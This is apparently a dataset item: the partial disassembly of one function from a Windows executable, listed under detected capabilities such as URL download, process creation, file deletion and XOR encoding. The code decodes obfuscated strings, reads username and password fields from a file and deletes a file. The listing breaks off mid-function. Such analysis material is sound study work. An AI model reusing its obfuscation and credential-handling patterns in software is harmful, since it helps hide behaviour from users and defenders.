Function at 0x140042150
Capabilities:
Check if file exists
Create process on windows
Delete file
Download url
Encode data using xor
Get file attributes
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1130]
mov eax, 0x1230
call fcn.1400c1c10
sub rsp, rax
movaps xmmword [rsp + 0x1220], xmm6
movaps xmmword [rsp + 0x1210], xmm7
movaps xmmword [rsp + 0x1200], xmm8
movaps xmmword [rsp + 0x11f0], xmm9
movaps xmmword [rsp + 0x11e0], xmm10
movaps xmmword [rsp + 0x11d0], xmm11
movaps xmmword [rsp + 0x11c0], xmm12
movaps xmmword [rsp + 0x11b0], xmm13
movaps xmmword [rsp + 0x11a0], xmm14
movaps xmmword [rsp + 0x1190], xmm15
mov rax, qword [0x1401290c0]
xor rax, rsp
mov qword [rbp + 0x1080], rax
xor esi, esi
mov dword [rbp + 0xf8], esi
cmp byte [reloc.WS2_32.dll_accept], sil
je 0x14004aec4
movabs rdi, 0x7fffffffffffffff
lea r14, [rsi - 1]
lea r12, [0x14016b388]
lea r13, [0x14016b348]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x14016c729], sil
jne 0x140043da9
lea rcx, [0x14016cae0]
call fcn.140068640
cmp byte [0x14016ccf0], sil
jne 0x140042255
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [rsi + 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [str.NHHURP_py]
mov qword [rbp + 0x120], rax
cmp byte [0x140115ac7], sil
je 0x1400423c3
cmp r15d, 2
jl 0x140042380
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [rbp + 0x120]
xorps xmm2, xmm0
movd dword [rbp + 0x120], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.8888888888888888]
movd xmm0, dword [rbp + 0x124]
xorps xmm2, xmm0
movd dword [rbp + 0x124], xmm2
jmp 0x1400423c3
lea r9, [rbp + 0x120]
mov r8d, esi
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140042390
xorps xmm0, xmm0
movups xmmword [rbp + 0x818], xmm0
mov qword [rbp + 0x828], rsi
mov qword [rbp + 0x830], rsi
lea rax, [rbp + 0x120]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x1400423e5
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x818]
call fcn.14004f2f0
lea r8, [rbp + 0x818]
lea rdx, [rbp + 0xd90]
lea rcx, [0x14016cae0]
call fcn.1400707c0
nop
lea rdx, [0x14016cab8]
cmp qword [0x14016cad0], 0xf
cmova rdx, qword [0x14016cab8]
lea rcx, [rbp + 0xd90]
cmp qword [rbp + 0xda8], 0xf
cmova rcx, qword [rbp + 0xd90]
mov r8, qword [rbp + 0xda0]
cmp r8, qword [0x14016cac8]
jne 0x140043046
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140043046
mov rdi, qword [0x14016cda8]
lea rbx, [0x14016cd98]
cmp qword [0x14016cdb0], 0xf
cmova rbx, qword [0x14016cd98]
call fcn.1400c22e8
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rdi
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rbp + 0x6f8]
call fcn.14003dbb0
nop
lea rcx, [rbp + 0x6f8]
call fcn.14003e650
movzx ebx, al
mov rdx, qword [rbp + 0x710]
cmp rdx, 7
jbe 0x140042504
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x6f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400424ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400424ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160c0]
movdqu xmmword [rbp + 0x708], xmm0
mov word [rbp + 0x6f8], si
test bl, bl
je 0x140042f60
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xec0]
call sub.VCRUNTIME140.dll_memset
lea rbx, [0x14016cd98]
mov rdx, rbx
cmp qword [0x14016cdb0], 0xf
cmova rdx, qword [0x14016cd98]
lea rcx, [rbp + 0xec0]
call fcn.14003c6e0
mov rax, qword [rbp + 0xec0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xec0], rax
mov rax, qword [rbp + 0xec0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xebc], edx
mov qword [rbp + 0xcd0], rsi
lea r8, [rbp + 0xc98]
lea rdx, [rbp + 0xec0]
lea rcx, [rbp + 0xdb0]
call fcn.14004ebf0
nop
lea rax, [rbp + 0x6d8]
mov qword [rbp + 0xf0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x7b8], xmm0
mov qword [rbp + 0x7c8], rsi
mov qword [rbp + 0x7d0], rsi
mov r8d, 8
lea rdx, str.password
lea rcx, [rbp + 0x7b8]
call fcn.14004f2f0
lea rdx, [rbp + 0x7b8]
lea rcx, [rbp + 0xdb0]
call fcn.14004c2b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6d8], xmm0
mov qword [rbp + 0x6e8], rsi
mov qword [rbp + 0x6f0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6d8], 0
mov dword [rbp + 0xf8], 0x20c
cmp byte [rax], 3
jne 0x14004af32
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x6d8]
call fcn.14004c600
nop
lea rax, [rbp + 0x6b8]
mov qword [rbp - 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x858], xmm0
mov qword [rbp + 0x868], rsi
mov qword [rbp + 0x870], rsi
mov r8d, 8
lea rdx, str.username
lea rcx, [rbp + 0x858]
call fcn.14004f2f0
lea rdx, [rbp + 0x858]
lea rcx, [rbp + 0xdb0]
call fcn.14004c2b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6b8], xmm0
mov qword [rbp + 0x6c8], rsi
mov qword [rbp + 0x6d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x6b8], 0
mov dword [rbp + 0xf8], 0x118c
cmp byte [rax], 3
jne 0x14004af74
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x6b8]
call fcn.14004c600
nop
lea r8, [rbp + 0x6d8]
lea rdx, [rbp + 0x6b8]
lea rcx, [0x14016cae0]
call fcn.14006a6d0
cmp byte [0x14016ccf0], 0
jne 0x140042729
mov rcx, rbx
cmp qword [0x14016cdb0], 0xf
cmova rcx, qword [0x14016cd98]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x14016c738], esi
jmp 0x140042ef4
mov rax, qword [str.pVWS]
mov qword [rbp + 0x128], rax
cmp byte [0x140115bf7], 0
je 0x1400428a3
cmp r15d, 2
jl 0x14004285a
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x128]
xorps xmm2, xmm1
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
jmp 0x1400428a3
lea r9, [rbp + 0x128]
mov r8d, esi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140042870
lea rax, [rbp + 0x128]
mov rcx, r14
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400428b0
mov rdx, qword [0x14016cb90]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, rcx
jb 0x14004afb6
lea rax, [0x14016cb80]
cmp qword [0x14016cb98], 0xf
cmova rax, qword [0x14016cb80]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x128]
lea r8, [0x14016cb80]
movzx edx, byte [rbp + 0xd88]
lea rcx, [rbp + 0x4f8]
call fcn.140050ee0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x14004295e
mov rcx, qword [0x14016b308]
inc rdx
cmp rdx, 0x1000
jb 0x140042959
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140042a71
mov rcx, r8
call fcn.1400c146c
mov eax, dword [str.N_I_]
mov dword [rbp - 0x80], eax
movups xmm0, xmmword [rbp + 0x4f8]
movzx eax, word [0x140115e2c]
movups xmmword [0x14016b308], xmm0
mov word [rbp - 0x7c], ax
movups xmm1, xmmword [rbp + 0x508]
movdqa xmm0, xmmword [0x1401160e0]
movzx eax, byte [0x140115e2e]
mov byte [rbp + 0x4f8], 0
movdqu xmmword [rbp + 0x508], xmm0
movups xmmword [0x14016b318], xmm1
mov byte [rbp - 0x80], 0x64
xor byte [rbp - 0x7f], 0x39
xor byte [rbp - 0x7e], 0x3a
xor byte [rbp - 0x7d], 0x3b
xor byte [rbp - 0x7c], 0x3c
xor byte [rbp - 0x7b], 0x3d
xor al, 0x3e
mov byte [rbp - 0x7a], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x648], rsi
mov qword [rbp + 0x650], rsi
lea rax, [rbp - 0x80]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400429f0
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x638]
call fcn.14004f2f0
lea r8, [rbp + 0x638]
lea rdx, [rbp + 0x998]
lea rcx, [0x14016cae0]
call fcn.1400707c0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140042a2f
mov rax, qword [rax]
mov rdi, r14
inc rdi
cmp byte [rax + rdi], 0
jne 0x140042a32
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rcx
ja 0x140042a78
mov rbx, r12
cmp rcx, 0xf
cmova rbx, qword [0x14016b388]
mov qword [0x14016b398], rdi
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140042a87
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r9, rax
mov rdx, rdi
mov rcx, r12
call fcn.14004fa10
nop
mov rdx, qword [rbp + 0x9b0]
cmp rdx, 0xf
jbe 0x140042ac8
inc rdx
mov rcx, qword [rbp + 0x998]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ac3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042ed1
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x9a8], xmm0
mov byte [rbp + 0x998], 0
mov rbx, qword [0x14016cc20]
mov rax, qword [0x14016cc28]
sub rax, rbx
sar rax, 6
test rax, rax
je 0x14004afbc
mov rdx, rbx
lea rcx, [rbp + 0xe20]
call fcn.14004c760
nop
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0xe40]
call fcn.14004c760
nop
lea rdx, [rbp + 0xe40]
lea rcx, [rbp + 0xc40]
call fcn.14004c760
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140042b41
mov rcx, qword [rax]
xor edx, edx
lea r8d, [rdx + 0xa]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
movsxd rdi, eax
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140042b8a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x140042b85
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140042e18
mov rcx, r8
call fcn.1400c146c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov qword [rbp + 0xe08], rdi
lea rdx, [rbp + 0xe08]
lea rcx, [rbp + 0xb68]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0xb68]
movaps xmmword [rbp + 0xb90], xmm0
movups xmm1, xmmword [rbp + 0xb78]
movaps xmmword [rbp + 0xba0], xmm1
mov eax, dword [rbp + 0xb88]
mov dword [rbp + 0xbb0], eax
movsd xmm0, qword [0x140115c48]
movsd qword [rbp + 0xd0], xmm0
movzx eax, byte [0x140115c50]
mov byte [rbp + 0xd0], Ordinal_41
xor byte [rbp + 0xd1], 0x39
xor byte [rbp + 0xd2], 0x3a
xor byte [rbp + 0xd3], 0x3b
xor byte [rbp + 0xd4], 0x3c
xor byte [rbp + 0xd5], 0x3d
xor byte [rbp + 0xd6], 0x3e
xor byte [rbp + 0xd7], 0x3f
xor al, 0x40
mov byte [rbp + 0xd8], al
lea r9, [rbp + 0xb90]
lea r8, [rbp + 0xd0]
mov edx, 0x50
lea rcx, [rbp + 0xfe0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rbp + 0x458], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x468], xmm1
lea rax, [rbp + 0xfe0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140042c72
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x458]
call fcn.14004f2f0
mov rdx, qword [reloc.WS2_32.dll_ntohs]
cmp rdx, 0xf
jbe 0x140042cd0
mov rcx, qword [0x14016b328]
inc rdx
cmp rdx, 0x1000
jb 0x140042ccb
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140042e18
mov rcx, r8
call fcn.1400c146c
movups xmm0, xmmword [rbp + 0x458]
mov eax, dword [str.TXIO_]
movups xmmword [0x14016b328], xmm0
mov dword [rbp - 0x20], eax
movups xmm1, xmmword [rbp + 0x468]
movdqa xmm0, xmmword [0x1401160e0]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x458], 0
movdqu xmmword [rbp + 0x468], xmm0
movups xmmword [0x14016b338], xmm1
mov byte [rbp - 0x20], WSAGetLastError
xor byte [rbp - 0x1f], 0x39
xor byte [rbp - 0x1e], 0x3a
xor byte [rbp - 0x1d], 0x3b
xor al, 0x3c
mov byte [rbp - 0x1c], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x618], xmm0
mov qword [rbp + 0x628], rsi
mov qword [rbp + 0x630], rsi
lea rax, [rbp - 0x20]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140042d50
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x618]
call fcn.14004f2f0
lea r8, [rbp + 0x618]
lea rdx, [rbp + 0x9b8]
lea rcx, [0x14016cae0]
call fcn.1400707c0
nop
cmp qword [rax + 0x18], 0xf
jbe 0x140042d8f
mov rax, qword [rax]
mov rdi, r14
inc rdi
cmp byte [rax + rdi], 0
jne 0x140042d92
mov rcx, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rcx
ja 0x140042dd1
mov rbx, r13
cmp rcx, 0xf
cmova rbx, qword [0x14016b348]
mov qword [0x14016b358], rdi
mov r8, rdi
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x140042de0
mov r9, rax
mov rdx, rdi
mov rcx, r13
call fcn.14004fa10
nop
mov rdx, qword [rbp + 0x9d0]
cmp rdx, 0xf
jbe 0x140042e24
inc rdx
mov rcx, qword [rbp + 0x9b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042e1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042e1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0x9c8], xmm0
mov byte [rbp + 0x9b8], 0
mov dword [0x14016c738], 2
mov rdx, qword [rbp + 0xe58]
cmp rdx, 0xf
jbe 0x140042e82
inc rdx
mov rcx, qword [rbp + 0xe40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042e7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140042ed1
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0xe50], xmm0
mov byte [rbp + 0xe40], 0
mov rdx, qword [rbp + 0xe38]
cmp rdx, 0xf
jbe 0x140042edd
inc rdx
mov rcx, qword [rbp + 0xe20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ed8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042ed8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c146c
movdqa xmm0, xmmword [0x1401160e0]
movdqu xmmword [rbp + 0xe30], xmm0
mov byte [rbp + 0xe20], 0
movzx edx, byte [rbp + 0xdb0]
lea rcx, [rbp + 0xdb8]
call fcn.14004d680
nop
mov rax, qword [rbp + 0xec0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xec0], rax
mov rax, qword [rbp + 0xec0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xebc], edx
lea rcx, [rbp + 0xed0]
call fcn.14003c670
lea rcx, [rbp + 0xed8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xf70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rcx, qword [0x14016c730]
movaps xmm0, xmmword [0x140116220]
movups xmmword [rcx + 0x39ec], xmm0
movaps xmm1, xmmword [0x140116240]
movups xmmword [rcx + 0x3a3c], xmm1
movaps xmm0, xmmword [0x140116290]
movups xmmword [rcx + 0x3b1c], xmm0
movaps xmm1, xmmword [0x140116270]
movups xmmword [rcx + 0x3b2c], xmm1
movaps xmm0, xmmword [0x140116280]
movups xmmword [rcx + 0x3b3c], xmm0
mov qword [rcx + 0x38f0], rsi
mov qword [rcx + 0x38f8], rsi
mov dword [rcx + 0x3924], 0x41200000
mov dword [rcx + 0x3928], 0x41300000
mov dword [rcx + 0x392c], 0x40a00000
mov byte [0x14016c729], 1
mov rdx, qword [rbp + 0xda8]
cmp rdx, 0xf
jbe 0x140043028
inc rdx
mov rcx, qword [rbp + 0xd90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004301c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004ab5e
call fcn.1400c146c
mov rcx, qword [0x14016c730]
mov qword [rbp + 0xda0], rsi
mov qword [rbp + 0xda8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xd90], 0
jmp 0x140043db0
movsd xmm0, qword [str.kQ_IWqQ__0C]
movsd qword [rbp + 0x1a0], xmm0
mov eax, dword [0x140115ae8]
mov dword [rbp + 0x1a8], eax
cmp byte [0x140115aeb], 0
je 0x1400431d3
mov r8d, esi
cmp r15d, 2
jl 0x14004318c
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.kQ_IWqQ__0C]
xorps xmm2, xmm0
movd dword [rbp + 0x1a0], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1a4]
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400431a0
mov eax, dword [0x1401151b0]
movups xmm0, xmmword [str.mIZHX]
mov dword [rbp + 0x2c8], eax
movups xmmword [rbp + 0x2b0], xmm0
movzx eax, byte [0x1401151b4]
movsd xmm0, qword [0x1401151a8]
mov byte [rbp + 0x2cc], al
movsd qword [rbp + 0x2c0], xmm0
mov r8d, esi
cmp r15d, 2
jl 0x14004335d
movdqa xmm5, xmmword [0x140116110]
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm6, xmmword [0x140116140]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x2b4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140043250
cmp r8d, 0x1d
jge 0x1400433a3
movsxd rax, r8d
lea r9, [rbp + 0x2b0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140043370
xor r9d, r9d
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x2b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movsd xmm0, qword [str.KQ_IWbKO__6eE]
movsd qword [rbp + 0x160], xmm0
mov eax, dword [0x140115ea8]
mov dword [rbp + 0x168], eax
movzx eax, word [0x140115eac]
mov word [rbp + 0x16c], ax
cmp byte [0x140115ead], 0
je 0x140043553
mov r8d, esi
cmp r15d, 2
jl 0x140043510
movdqa xmm4, xmmword [0x1401162f0]
movdqa xmm2, xmmword [0x140116110]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140116140]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401161e0]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.KQ_IWbKO__6eE]
xorps xmm2, xmm0
movd dword [rbp + 0x160], xmm2
movdqa xmm3, xmmword [0x140116130]
movdqa xmm1, xmm3
